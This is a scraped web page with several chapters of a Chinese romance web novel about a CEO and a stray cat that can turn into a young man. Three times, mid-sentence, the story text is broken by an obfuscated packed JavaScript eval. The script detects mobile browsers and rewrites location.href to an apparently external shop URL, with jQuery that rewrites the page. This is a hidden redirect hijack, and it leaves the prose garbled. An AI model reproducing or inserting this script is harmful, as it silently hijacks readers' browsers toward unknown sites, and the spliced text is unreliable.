温时序盯着它看了几秒,忽然伸出手,也不管会不会把猫吵醒,带着点惩罚和宣泄意味的,狠狠地撸了一把南南的脑袋和后背,把柔软的毛发揉得乱七八糟。 “唔……”南南在睡梦中不满地咕哝了一声,爪子无意识地从毯子里伸出来扒拉了一下空气,眼睛都没睁开,换了个姿势又睡沉了。 看着它这副没心没肺的样子,温时序胸腔里那股翻腾的震惊、荒谬、后怕,还有一丝难以言喻的“被隐瞒”的微恼,忽然间泄了气。 他发动车子,平稳地驶向家的方向。窗外的城市正在苏醒,晨光熹微。副驾驶座上,一只“可能不是猫”的小东西睡得正熟。 温时序目视前方,忽然很轻地笑了一下。 藏得挺好。 那继续藏吧。 我们回家,再慢慢算帐。 4. 后知后觉傍上“大款”了 到家时外甥已经被司机送去上学了。 温时序看着怀里的南南,一时有点头疼。难怪猫粮也不吃,猫窝也不肯睡。 一晚上没睡的大脑此刻却异常清醒。温时序重新拿起手机,他对养猫毫无经验,这几天照顾南南全靠宠物医生的三言两语和网上百科学来的。 既然决定留下它,就没有让小猫受委屈的道理。 之前为了养猫买的东西,最后一件也到了。温时序把南南安放在沙发上,认真研究起烘干机的用法。 一抬头,撞上一双瞪大的绿瞳。 “醒了南南?有没有不舒服?点头是难受,摇头是没事。”温时序蹲在沙发面前,平视着小猫。 南南刚醒,还没彻底回过神,它突然想起,前两天那个下雨的傍晚,温时序也是这么平视着他说话,然后把它带回家。 它觉得温时序今天说话有点奇怪,像在哄它,也像准备干什么坏事。但它想不出为什么,便乖乖摇了摇头。 温时序昨晚被他吓了一跳,现在存心想逗它:“那刚好,烘干机到了,带你洗澡。” 不等它反应,人已经抄起它往浴室走。 南南象征性地蹬了蹬腿,没用,便也懒得再动。洗澡它不怕,以前温时序带它在外面洗过,香香的,暖风吹干,很舒服。 但没人告诉他,洗澡还要被扒着嘴刷牙。 温时序第一次给猫刷牙,在此之前连外甥都没享受过他这般照顾,手生得很。 “早晚刷牙才是干净小猫。”他动作放得很轻,带着小心翼翼。 好冷漠的一句话。 南南不太懂为什么要有这个步骤。它之前不刷牙,也挺好的。 人类规矩就是多。 它一直后退躲避,但还是被温时序温柔但不容抗拒地抓回来。 刷牙耗了十几分钟,一人一猫都累够呛。 温时序心里也在盘算,他很纠结到底是以养猫的方式对待南南,还是以养人的方式对待南南。如果不每天刷干净的话,他变成人应该会难受。猫粮它也不吃,可是如果随便吃人类的食物,小猫的身体又会造成伤害。 他不确定南南的想法,干脆去储物间翻出一套新的洗漱用品,摆在台面上。 “不止南南,我们人类也要每天把自己收拾干净。”他一本正经地讲解,“这个是牙刷,挤上牙膏,这样刷牙,最后把嘴漱干净。水是不能喝的,知道吗?” 他边讲边用自己的牙刷示范。 南南蹲在洗手台边,脑袋微微侧着,看得很认真。看到温时序拧开水龙头往脸上泼水,再用一块叫毛巾的布往脸上擦,它惊讶地把头往后缩了一下。 这样脸上的毛不会掉光吗? 温时序祈祷着南南可以听懂,毕竟这一套洗漱用品就是拿给它的,这样它变成人就可以用了。 不过也没指望现在还在思考的南南可以悟出什么道理,温时序把猫放进盛了温水的小盆里,水都不敢多放,怕南南挣扎被水呛到。 出乎他意料的是,南南没太大反应,反而舒服地眯了眯眼睛,一派享受的模样。它低头看见盆里有泡泡,便抬起爪子去拍,追着自己拍散的泡沫转圈,水花溅了温时序一裤子。 温时序失笑,彻底拿它没辙了,干脆抓了一把泡沫放去南南的鼻尖,趁它还在发愣,赶紧把猫洗干净了。 干毛巾把猫裹成一只只露出脸的团子。南南眨着眼,细声细气地叫了一声,目光期待地望着他。 它在等他演示怎么洗澡。 温时序看懂了。 算了吧,他怕南南把浴室淹了。 “人类洗澡你还不用学。”他移开视线,假装没看见那双装可怜的眼睛,“小猫自己洗澡会有危险。” 他把南南送进烘干机。科普说很多猫刚开始都会怕这个,就把程序调到最小。 小猫安静地坐在角落,一声不吭。温时序有点不放心,拉开门问:“害怕吗?” 南南摇头。它只是觉得有点委屈,为什么要把它关在这里啊? 看见温时序再次把门关上启动机器,南南闷闷地拍了一下玻璃。 人,咪没有害怕。但是咪不高兴你看不见吗?你都没有问咪愿不愿意。 折腾了大半天,南南有些乏了。它趴在温时序腿上,眼皮开始往下沉,温时序怎么可能那么快放过它。 他找来一张便签,一笔一画写下一串数字。 “这个叫电话号码。”他把便签放在南南面前,“人类一般用手机拨通。走丢了的话,可以找到我。” 南南盯着那串弯弯曲曲的符号,看了好一会儿。 它觉得自己的智商被质疑了,用鼻尖碰了碰温时序的手指表示抗议。 咪知道。咪又不是什么都不懂。 温时序低头看着它,误会了南南的意思,轻轻笑了笑。 “不懂也没关系,”他把便签收好,声音很轻,“你只是一只小猫。” 南南没应声。 它把脑袋埋进温时序的掌心,闭上了眼睛。 笨蛋人类。 温时序还是不放心。 他把南南从腿上轻轻挪到沙发,起身去玄关的抽屉里翻找。前几天买的项圈到了,他原本想着等南南再适应几天再戴,但现在看来,早点戴上更安心。 项圈是浅棕色的,皮质很软,挂着一个小巧的银色名牌。温时序坐回沙发,把南南抱起来放回膝上。 “来,抬下巴。”他用指腹拨开南南颈后的毛,。 南南配合地仰起脑袋,由着他把项圈扣好。银色的名牌垂在它喉下,温时序把它转过来看了看,上面刻着“南南”两个字,下面是一串小小的数字。 是他的电话号码。 “喜欢吗?”温时序从茶几上拿起手机,对着南南拍了张照片,然后把屏幕递到它面前。 南南盯着屏幕里的自己。浅棕色的项圈衬得它的毛更亮了,银色的小牌子在灯光下一闪一闪的。它歪了歪脑袋,温时序又给它多拍了几张。 它伸出爪子,轻轻碰了碰屏幕上的名牌。 温时序笑了:“看来是喜欢。” 南南收回爪子,矜持地舔了舔。它确实很喜欢,喜欢到想原地打个滚。但它忍住了,只是把下巴搁在温时序手心里,软软地蹭了蹭。 笨蛋人类总算做对了一件事。 温时序收了手机,像是想起什么,又起身去了卧室。这次翻找的时间有点长,出来的时候手里攥着一小沓现金。 他坐到南南面前,把那些花花绿绿的纸钞一张张摊开在茶几上。 “这个叫钱。”温时序指了指那些纸币,“人类出门买东西,要用这个换。” 南南盯着那些花花绿绿的纸片,脑袋微微侧着。它见过这个,可是买东西的话,之前看温时序用手机扫一下就好了,没见过他用这些纸。 “现在大家都用手机付钱,但手机里的钱也是从银行里拿的。”温时序把那些纸钞理了理,表情有点无奈,“我平时不怎么用现金,就找到这些……大概够买一点点零食,小猫买火腿肠也要付钱知道吗?” 他顿了顿,又补充:“更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467739|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的要等我明天去银行拿。” 南南盯着那沓纸,又盯着温时序认真的脸。 银行。 它记得这个。以前它路过那个大房子,听说那里有很多很多钱。 温时序的钱都存在里面。所以……温时序有很多很多钱。 咪好像傍到大款了。 南南的尾巴尖不自觉地翘了翘,又赶紧压下去。它矜持地舔了舔爪子,眼睛却忍不住往那些钱上瞟。 有好多钱的话,是不是可以买很多小鱼干?还有那个香香的罐头?还有—— “南南。” 温时序的声音打断了它的幻想。它抬起头,发现温时序正用一种奇怪的眼神看着它,像是在思考什么很严肃的事情。 “这两天没什么零食了,”温时序认真地说,“委屈你一下。” 南南愣住了。 它低头看了看那沓钱,又看了看温时序真诚的脸。 钱,不是在这里吗? “明天我姐来接外甥,家里不能有零食出现。”温时序叹了口气,语气里带着点后怕,“他要是偷吃了你的零食,我姐能念叨我一个月。” 南南懂了。 不是没钱,是有外甥。 它想起那个小男孩,会用胖乎乎的手摸它,会把自己的零食偷偷塞给它。虽然有点吵,但人很好。 不过,它看了看温时序如临大敌的表情,决定配合地点了点头。 咪懂了,外甥比咪可怕。 温时序明显松了口气,伸手揉了揉它的脑袋:“乖,中午给你做好吃的。” 南南蹭了蹭他的掌心,眯起眼睛。 温时序是一个胆小的人类,外甥哪有那么可怕。 但既然有好吃的,它也不介意配合一下。 —— 中午,温时序说话不算话。 他只做了水煮鸡胸肉和一小份水煮西兰花,切成细碎的小块,装在南南的专用食盆里。 好吃的在哪?南南蹲在食盆前,矜持地闻了闻,然后扭头不看温时序。 “等你长大点就可以吃其他东西了。”温时序毫不心虚地哄骗小猫。 南南想了想还是吃了,温时序蹲在旁边看了一会儿,确认它吃得香,才起身去给自己弄吃的。 吃完收拾好,他看了眼时间,匆匆换好衣服。 “南南,我下午去公司开个会,晚饭前回来。”他蹲下来跟南南平视,“冰箱里有吃的,你要是饿了自己开一下……” 话说到一半,他自己先笑了,不能拆穿小猫的把戏,不然肯定要发脾气。 “算了,等我回来做。”他揉了揉南南的脑袋,“乖乖在家。” 南南蹭了蹭他的掌心,算是答应了。 温时序起身,走到门口又回头看了一眼。南南蹲在沙发上,项圈上的银色名牌一闪一闪的,正望着他。 “走了。”他挥了挥手,关上了门。 门关上的那一刻,南南从沙发上跳下来,走到玄关,蹲在门口听了一会儿。 脚步声远了。 它舔了舔爪子,慢悠悠地走回沙发,把自己团成一个球。 它低头看了看脖子上的项圈,用爪子拨了拨,听见轻轻的叮当声。 咪喜欢这个。 它把脑袋埋进尾巴里,闭上了眼睛。 咪现在是有项圈的小猫了,还有钱,还有家。 是家啊,一个可以遮风挡雨,有人照顾的地方。 咪现在好像要开始幸福了。 它满意地蹭了蹭尾巴。 5. 情人节 “咳咳,请问温总加完班了吗?楼下有你的外卖,麻烦来取一下好吗?”电话里,南南刻意捏着嗓子,装模作样地问。 温时序也愿意配合他,声音里带着笑意:“东西不重要的话,我就让助理去了。” 不出所料,对面的小猫炸毛了:“亲自下来,快点嘛!” 其实从听到南南的要求开始,温时序就开始往电梯走了,电话刚挂断,他便到楼下,看到站在外面的南南。 少年捧着一大束玫瑰,鼻尖冻得发红,头发被风吹乱,连忙用手拨整齐,抬头看见温时序,眸光亮晶晶的。 没等他过去,温时序已经大步迎上,什么也没说,先把自己的围巾摘下来,轻轻给他围上。最后一圈绕完,还坏心眼地往上拽了拽,遮住南南的鼻子。 “怎么不进去?”温时序接过玫瑰,自觉牵起南南有些冷的手。 南南瘪了瘪嘴,声音闷在围巾里,却理直气壮:“更想你来见我,不可以吗?” 特意买好花,吹着冷风等人,最后来上这么一句话,温时序感觉心脏像被什么挠了一下,酥酥麻麻的,一时竟不知道说什么好了。 “还有,”南南不依不饶,试图把手从温时序的手心抽出,“你怎么不关心我为什么穿那么少啊?” 温时序没松手,反而握得更紧了些,顺着他的话问:“那南南为什么穿那么少啊?” “因为这样会很帅。” “因为这样会很帅。” 两道声音几乎同时响起。 “你怎么知道?”南南不服气地瞪圆了眼。 温时序替他拢了拢外套,眼底笑意不减:“因为了解你。” 南南愣住了,脸颊迅速变红,不知是羞的还是被风吹的,小声嘟囔道:“甜言蜜语。” “外卖和爱都收到了,所以小猫长官还有什么计划呢?”温时序轻轻晃了晃两人相握的手。 他发现自己跟南南在一起时,总是有很多克制不住的小动作,好在对方没有觉得烦。 “我来接哥哥下班的,不准加班。”南南板起脸,努力摆出一副严肃的模样,脸上的绯红却迟迟没有消散。 自从发现第一次喊“哥哥”时,温时序直接愣得连话都说不出来,南南就爱上了这个称呼。 果然,这声“哥哥”又把温时序哄得找不着北了,他当即点头,承诺下午的时间听凭安排。 按照南南报出的地址下车,发现是一家藏在巷子深处的陶艺工作室。 店里环境很好,架子上摆满了素坯和成品。 南南找了一个靠窗的位置,招手示意温时序快坐下,认真解释:“我变成小猫乱跑的时候发现的,当时就想,要是可以和你一起来就好了。” 温时序看着他,觉得外面的风再冷,此刻心里也是暖的。 低声说:“那今天,我们慢慢做。” 南南弯起了眼,点了点头。 他想做一只花瓶。 理由很简单,温时序隔三差五就给他送花,那些花被随手插在普通花瓶里,总觉得委屈了它们。 “得有一个配得上它们的瓶子。”他说这话时一本正经,“最好是我们一起做的。” 温时序当然没意见。 然而理想很丰满,现实很骨感。 陶艺这玩意儿看着简单,上手才知道有多难。要么拉出来的坯歪歪扭扭,要么是手一抖,眼看着快成形的瓶口“啪”一下塌了。 两个人对着那摊泥面面相觑。 南南深吸一口气,自我安慰:“没关系,第一次嘛。” 温时序学着他的样子点头:“对,第一次嘛。” 然后他们继续跟泥巴较劲。 折腾了一个多小时,终于弄出一个勉强能看的瓶身。虽然不够圆润,瓶口也有点歪,但好歹是个花瓶的样子。 南南如释重负地长出一口气,打量着自己的“杰作”,忽然又有了新想法:“是不是该画点什么?” 温时序赞同。他看了看南南,提议道:“画只猫?” 南南眼睛一亮:“好主意!” 但真要下笔的时候,他怂了。画笔捏在手里,迟迟落不下去。 他咬着嘴唇,扭头眼巴巴地看着温时序。 温时序被他这副模样逗笑了,接过笔:“我来?” 南南猛点头,目光炯炯地盯着他。 温时序低下头,神情专注,手腕稳稳地动了片刻,画好了。 南南凑过去看。 “这是猫?”他指着花瓶上那个东西,难以置信地问。 花瓶上蹲着一只圆滚滚的生物。 说它是猫吧,确实有耳朵有尾巴,但那张脸……该怎么评价呢?眼睛一大一小,胡须歪七扭八。 温时序面不改色:“是你。” 南南不乐意了:“不可能!我没那么丑!” 他无奈地把笔递回去:“要试试吗?” 南南不服气地接过笔,一副要让温时序见识见识真功夫的架势。 然后他在花瓶的另一面,画了一只更丑的猫。还郑重其事地在旁边标注:温时序。 温时序凑过来看了看,认真点头:“嗯,像我。” 南南瞪他:“你是在嘲笑我吗?” “没有。”温时序努力克制笑意,“真的很像。” 南南不吭声了。 他盯着自己画的那只猫,越看越觉得心虚,他其实真的很认真在画,每一笔都小心翼翼,结果那么丑。 早知道不嘲笑温时序了。 温时序看着他气鼓鼓又不好意思发作的样子,伸手揉了揉南南的头发,把那头本来就乱的刘海揉得更乱了。 “好了,”他语气里带着哄小孩的温柔,“小气猫。” 南南梗着脖子,嘴硬道:“你才是小气猫。” 温时序没反驳,只是把他的手拉过来,十指交握。 “那这两只小气猫的花瓶,”他低头看那只歪歪扭扭的陶罐,声音轻轻的,“烧出来以后,放哪儿?” 南南的耳朵又悄悄红了。 “放你办公室。”他小声说,顿了顿,又补充,“每天看着,要记得家里有人等你,早点回家。” 温时序愣了一下,随即弯起眼睛。 “好。”他说,“一言为定。” 从陶艺店出来时,天已经彻底黑了。 南南正想问接下来去哪,温时序已经拉开车门,神态自若地说:“下午归你安排,晚上归我。” “这么公平?”南南坐进副驾,狐疑地看着他,“你该不会早有预谋吧?” 温时序但笑不语。 二十分钟后,车子停在一家江景餐厅门口。 最好的位置,铺着洁白的桌布,上面摆着烛台和鲜花,蜡烛还没点燃,但已经有服务生等在旁边,见他们进来,立刻开始斟酒、点烛。 “温时序,”南南小声叫他,“你什么时候订的?” “上周。”温时序替他拉开椅子,“给你的小惊喜。” 南南坐下来,看着面前一盘盘端上来的菜,全是他喜欢吃的菜。 “你怎么……”他一时不知道说什么好,只觉得心里满当当的,好像有什么东西要溢出来。 温时序给他切着牛排,语气平淡得像在说今天天气不错:“上次你说想吃,我就记着了。” 南南低下头,假装专心吃东西,耳朵却红得藏不住。 窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467740|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是江景,对岸灯火通明,流光溢彩。窗内是烛光晚餐,对面坐着喜欢的人,桌上全是自己爱吃的菜。 南南吃着吃着,忽然觉得这顿饭不该吃那么快。 他想让时间慢一点。 可时间不会听他的,等他意识到的时候,盘子已经空了大半。 温时序正看着他:“吃饱了?” 南南点点头,随后被人带去江边,美名其曰:散步消食。 夜风有些凉,但温时序一直握着他的手,手心温热,很安心。南南悄悄往他身边靠了靠,肩膀挨着肩膀。 “那边好多人。”南南望向前方不远处,人群聚集在江边,不知在等什么。 话音刚落,忽然一声闷响。 一束光亮划破夜空,在他头顶炸开,洒下漫天光彩。 紧接着是第二束、第三束……各色烟花接连升空,在夜幕上绽开一团团绚烂的光,照亮了江面,也照亮了身边人的脸。 他呆呆地转过头,看向温时序。 温时序也正看着他,眼底映着烟花的光,温柔得不像话。 “喜欢吗?” 南南张了张嘴,一时说不出话。他只知道点头,拼命点头。 人群的欢呼声和烟花的炸响声混在一起,可这一刻,他什么都听不见,只听见自己的心跳声,砰砰砰的,比烟花还吵。 烟花放了很久。 温时序低头看他,轻声问:“南南,有什么愿望吗?” 南南想了想,仰起脸,认真地回答他: “很高兴认识你。” 他顿了顿,声音轻轻的,却很坚定:“希望以后,可以一直一直,一起走下去。” 温时序看着他,看了很久很久。 然后俯下身,轻轻吻住了他的唇。 那个吻落下来的时候,南南整个人都是懵的。 他只来得及看见温时序靠近的轮廓,睫毛在路灯下投下一小片阴影,然后唇上就是一软。 很轻。 南南下意识屏住呼吸,眼睛还睁着,近在咫尺的那张脸却看不真切,只有温热的鼻息扑在他脸颊上,带着一点晚餐时喝的那杯红酒的气息,手脚都不知道往哪儿放了。 等他终于反应过来,配合地仰起脸,甚至还踮了踮脚。 明明不是第一次了,可心跳还是快了几拍。 温时序似乎察觉到了,他轻轻含住南南的下唇,不轻不重地吮了一下,像是在逗他。 南南不服气,张嘴咬回去。 说是咬,其实只是用牙齿轻轻磕了一下。 然后他就被搂紧了。 温时序的手从后背绕上来,扣住他的腰,把他往怀里带了带。那个吻随之加深,不再是蜻蜓点水的试探,而是带着某种熟悉的霸道。 南南被他吻得有点喘不过气,却又不想推开,抬手攀住温时序的肩膀。 舌尖探进来的时候,没忍住轻轻哼了一声。 温时序顿了一下,随即吻得更深,像是在回应那声无意识的呜咽。他的另一只手不知道什么时候抚上了南南的后颈,指腹轻轻摩挲着那一小片皮肤,带着安抚的意味。 南南被他摸得有点痒,缩了缩脖子,却没躲开。 唇齿交缠间,有温热的呼吸扑在彼此脸上,混着夜晚的凉意。远处偶尔传来行人的脚步声,像隔着一层雾,模模糊糊的,听不真切。 他只能感受到温时序。 他唇上的温度,他收紧的手臂,他轻轻蹭过自己耳垂的指尖。 不知道过了多久,温时序终于放开他。 稍稍退开一点,却还是离得很近,额头抵着额头,呼吸交缠在一起。 “情人节快乐,我的小猫。” 6. 人对猫好,猫对人好 南南这一觉睡得很浅。 梦里它在追一只蝴蝶,追着追着,蝴蝶飞高了,它跳起来,没够着,还摔了一跤,把自己吓醒了。 它睁开眼睛,盯着天花板发了一会儿呆,突然又想变成人。 人的视角还挺稀奇,高高的,感觉做什么都会成功。 等它再睁开眼睛的时候,世界变了。 “咳咳,等等!这个项圈卡我脖子!”南南手忙脚乱把项圈解开,终于可以大口大口呼吸。 差点儿把猫勒晕了。 但他想了想,又觉得不能怪温时序。温时序又不知道他会变成人,给他戴项圈的时候肯定是用猫的脖子量的。 猫脖子是那个尺寸,人脖子是另一个尺寸。 他把项圈举到眼前看了看,又试着往自己脖子上比划了一下。 果然,小了好几圈。 南南叹了口气,把项圈放在桌上。 算了,先不戴了。等变回猫再戴。 这次他倒游刃有余地去翻温时序的衣柜,精心挑选了他另一件睡衣,满意地去院子里撒泼。 来了这里之后要不就是总有人盯着,要不就是太累了,他还没好好看过外面呢。 南南这边一派岁月静好。温时序在监控里看见它被项圈勒住的那一刻,太阳穴突突直跳,在会议室众目睽睽下猛然站起身,把正在汇报的主管吓得话都忘了。 他盯着屏幕,直到看见南南成功把项圈摘了,才在满室异样的目光中低声说了句“抱歉”,重新坐下。 服了家里这只小猫了。 不过南南没事就行。自己丢脸就丢脸吧,反正也没人会当着他一个总裁的面说什么。 温时序深吸一口气,把精力重新投入会议,没再看监控。 好不容易会议结束。昨晚几乎没合眼的温时序想喝杯咖啡提神,却发现助理不在工位,只好亲自动身去茶水间。 刚走到门口,就听见里面传来压低的声音: “温总刚才那个反应,刷一下就站起来了,脸都白了。” “是不是家里出什么事了?我从来没见过他这样。” 温时序很无奈,默默收回脚步,悄无声息地退回办公室,生怕吓着这些聊得起劲的员工。 他靠在椅子上,叹了口气,翻开监控想看看南南在做什么。 画面里空空荡荡,哪儿都没有小猫的影子。 温时序抹了把脸,对着屏幕陷入沉默。 他不信邪,把监控画面切到最后一个没看的角落。 墙角的镜头里,南南正蹲在花坛边,不知道在研究什么。 穿着他的衣服,光着脚,头发乱糟糟地翘着,正对着一朵刚开的郁金香发呆。 温时序悬着心终于落回肚子里,紧接着又提了起来。这花是刚开的,也不知道有没有打过药,南南怎么离那么近,都快贴上去了。 温时序在这边干着急,南南在那边浑然不觉。 他正认真打量着院子里的一草一木。 春天,郁金香陆陆续续开了,红的黄的粉的,沿着墙角排成一小片。南南蹲下来,一朵一朵地看过去,最后在一朵开得最周正的粉色郁金香前停下来。 这朵最好看。 他凑近,猛吸了好几口。 没什么味道。 再吸一口。 好像有一点点香。 再吸,诶?怎么晕乎乎的? 南南感觉脑子开始转不动了,它晃了晃脑袋,没晃清醒,干脆一屁股坐在地上,等这股劲儿过去。 温时序在屏幕那头沉默,郁金香有毒的啊。 正纠结着要不要立刻赶回去,南南已经从地上站起来了。 没事,问题不大。 南南感觉良好,拍了拍手上的土,继续撒丫子乱逛。 这一次他发现有个金鱼池。 池子不大,水清见底,几尾锦鲤慢悠悠地游着,尾巴在阳光下甩出金红色的光。 南南蹲在池边,安安静静地看了一会儿。 鱼真好看,游得那么慢。 看起来很好抓。 他把手伸进了水里。 一开始只是轻轻地搅,看着鱼群受惊四散,觉得有趣。慢慢地,手越伸越深,身子也越探越低。 猫的天性终于忍不住了,他想捞一条上来看看。 池子为了美观,边缘没装栏杆,水面离地面只有几寸高。南南把袖子撸到手肘,专注地盯着水里那条最红的鱼,手缓缓地伸过去。 脚下一滑。 “扑通——!” 水花四溅。 南南整个人栽进了池子里。 他在水里扑腾了两下,滋哇乱叫,手脚胡乱拍着水,直到脚底踩到了池底。 ……站住了。 水只到大腿。 南南停下来,低头看看自已和周围溅了一地的水,再看看那条红鱼正悠哉悠哉地从它脚边游过。 他摸了摸鼻子,觉得有点丢人。 不过现在有更应该该担心的问题。 南南低头看了看身上湿透的睡衣,还在往下滴水。 温时序的衣服。 他把温时序的衣服搞湿了! 办公室里,温时序早就坐不住了。看见南南落水的那一刻,他直接从椅子上弹起来,抓起车钥匙就往外冲。 助理刚好拿着文件过来,只看见自家总裁一阵风似的从身边刮过。 “温总,文件……” “先放着。” 话音未落,人已经进了电梯里。 南南湿答答地从鱼池里爬出来,站在岸边往下滴水。 风一吹,他打了个哆嗦。 衣服已经湿了,得换一件。不过温时序的衣服,得先洗干净再还给他。 南南把裤腿撩起,拎着湿透的睡衣下摆,光着脚一路小跑进屋,在地上留下一串湿漉漉的脚印。 他把湿衣服脱下来,拎在手里看了看,又看看卫生间的方向。 有洗衣机可以洗衣服,温时序用过,它见过。 南南抱着衣服冲进卫生间,把衣服往洗衣机里一塞,关上门,然后盯着控制面板陷入沉思。 这么多按钮,他不会。 他试着按了一下。 没反应。 再按一下。 还是没反应。 南南把每个按钮都摁了一遍,洗衣机纹丝不动。 他挠了挠头,又看了看插头的位置。 没看出来有什么问题。 算了,一只自立自强的猫是不用靠机器的。它以前流浪的时候,见过人类在手洗衣服。把衣服泡在水里,搓一搓,再拧干就行。 衣服已经湿了,不用再泡。 南南把衣服放在洗手池里,开始搓。 搓了两下,想起来人类洗衣服会加让衣服变香的东西。 不知道是什么,但是它洗澡的时候,温时序给它用的东西就很香。 南南凭着记忆从架子上拿下那瓶熟悉的东西,挤了两下,抹在衣服上,用力搓。 没什么泡泡。 再加一点。 好像不够香,再加一点。 不知不觉,大半瓶沐浴露已经挤进了池子里。 泡沫越来越多,南南手忙脚乱地想用水冲掉一些,结果泡沫越冲越多,整个洗手池都溢满了。 就在这时,门锁响了。 南南耳朵一动,如果他现在还有很长的毛的话,肯定可以看到他的毛炸开。 温时序回来了! 它低头看看自己满手的泡沫,脑子里有什么东西“嗡”地响了一下,下意识变回小猫。 等温时序循着水声找到卫生间的时候,洗手池的水龙头还在哗哗地流,泡沫一直往外涌,几乎要把整个洗手台淹没。 而在泡沫中间,蹲着一只猫。 浑身湿透,毛一缕一缕地贴在身上,耳朵往后压着,眼睛瞪得溜圆,正试图把自己缩成一个看不见的球。 温时序:“……” 他快步上前,先把水龙头关了。 泡沫慢慢停止上涨,只剩下水珠滴答滴答的声音。 一人一猫对视。 南南把目光移开,假装在研究洗手池边缘的瓷砖花纹。 温时序看了看水池里的衣服,还有架子上那瓶快见底的沐浴露,地上那串从门口一路延伸进来的湿脚印。 他深吸一口气。 至少,南南会从鱼池里爬出来,还知道跑回屋里。 至少,它试图弥补。 温时序放弃自我安慰了。 那团已经看不出本来面目的睡衣,和蹲在泡沫堆里眼神飘忽的猫,先处理哪个呢?温时序默默叹了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467741|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>算了,衣服不要了。 他挽起袖子,伸手把南南从泡沫堆里捞出来:“走吧,先把你弄干净。” 南南被拎起来的时候,心虚地缩了缩脖子,见温时序没有要骂它的意思,很快又放松下来,垂着四条腿任他提着。 温时序把它放进小盆,调好水温,开始给猫洗澡。 南南乖乖站着,偶尔甩甩水,偶尔踩踩温时序的手,全程没有挣扎。 等把它彻底搓干净吹干毛,重新变成一只蓬松清爽的小猫,温时序已经累得腰都酸了。 他直起身,看了眼浴室里的一片狼藉。 “去客厅玩。”把南南抱出浴室,放在沙发上,“我洗个澡,你乖乖的,别乱跑。” 南南蹲在沙发上,看着他,没动。 温时序转身回了浴室,还没关上门。 南南盯着他看了一会儿。 温时序要洗澡。 温时序一个人洗澡。 温时序之前说过,小猫自己洗澡会有危险,所以每次都是他陪着它洗。 现在温时序一个人洗澡,会不会也有危险? 南南从沙发上跳下来,走到浴室门口,蹲下,用爪子扒拉了一下门。 动静不大,但刚好能让温时序听见。 南南蹲在门口,仰着头,和他对视。 “南南?”温时序愣了一下,“怎么不出去?” “喵。” 人,咪是来保护你的。 温时序当然听不懂,但他看得懂那双眼睛里的执着。 他准备把门关上,南南往前挪一步。他试图把门推回去,南南继续往前挪。 他干脆把门拉开,把猫抱起来,走到客厅放下。 “乖,在这儿等着。” 他转身回浴室,南南在客厅蹲了三秒。 不行,不放心。 它又跟着温时序跑进浴室,蹲下。 温时序刚准备关门,一低头,南南已经进来了。 “南南。” “喵。” “出去。” “喵。” “我要洗澡。” “喵喵。” 咪知道,咪在保护你。 一人一猫僵持,温时序败下阵来。 他叹了口气,决定忽略这只猫。 可问题是根本忽略不掉! 以前他不知道南南能变成人,猫蹲在旁边看他洗澡,他估计只觉得可爱,还会跟猫聊聊天。 现在他知道了。 现在他清清楚楚地知道,这只蹲在浴室角落里眼睛一眨不眨盯着他看的小猫,几个小时前刚穿着他的睡衣在院子里撒欢,刚才还在卫生间里用掉了他大半瓶沐浴露。 温时序下意识扯了扯领带。 “喵?”南南明显被吸引,好奇打量着。 温时序把领带摘了,把猫捞过来:“教你绑领带好不好?” 南南眼睛亮了。 温时序的脖子上的那个吗?看起来很好玩。 它期待地看着温时序。 温时序把它放在沙发上,拿过一条领带,三下五除二把猫的两只前爪和两只后爪捆在了一起。 南南低头看看自己被捆成一团的爪子,又抬头看看温时序,眼神里写满了困惑。 “绑你去绝育信不信?”温时序吓唬它。 南南愣了一下。 绝育? 它知道这个词。之前在外面流浪的时候,听说过。人类会把小猫抓走,然后……然后…… 南南抖了抖,它愤怒地“喵”了一声,试图挣扎,但四条腿被捆得结结实实,只能在沙发上蛄蛹来蛄蛹去。 人!你也太不知好歹了吧! 咪是好心保护你,你居然要绑咪去绝育! 温时序看着它在沙发上扭来扭去的滑稽样子,忍不住笑了一声,伸手把领带解开。 “行了,吓你的。我去洗澡,你别跟过来。” 他把猫放在沙发上,迅速把浴室门锁上。 南南在沙发上蛄蛹了两下,发现自己自由了。 它跳下沙发,重新往浴室的方向爬。 这次没有执着于进去,它可不承认自己害怕绝育,在外面它也可以很好地保护温时序。 于是温时序一开门就能看见南南挺直腰杆蹲在门口,无奈撸了一把猫头。 7. 不要吃干巴巴的猫粮 第二天,温时序学聪明了。 外甥已经被姐姐接走,现在家里上蹿下跳的只剩南南。他想起昨天南南掉水池里那幕,仍心有余悸。再把猫单独留在家里,估计更无法无天了。干脆带去公司,待在办公室里也不会影响其他员工,还是放在眼皮子底下最安心。 温时序试图把南南摇醒,告诉它准备出门。 无奈某小猫往被子里一缩,彻底不搭理他了。 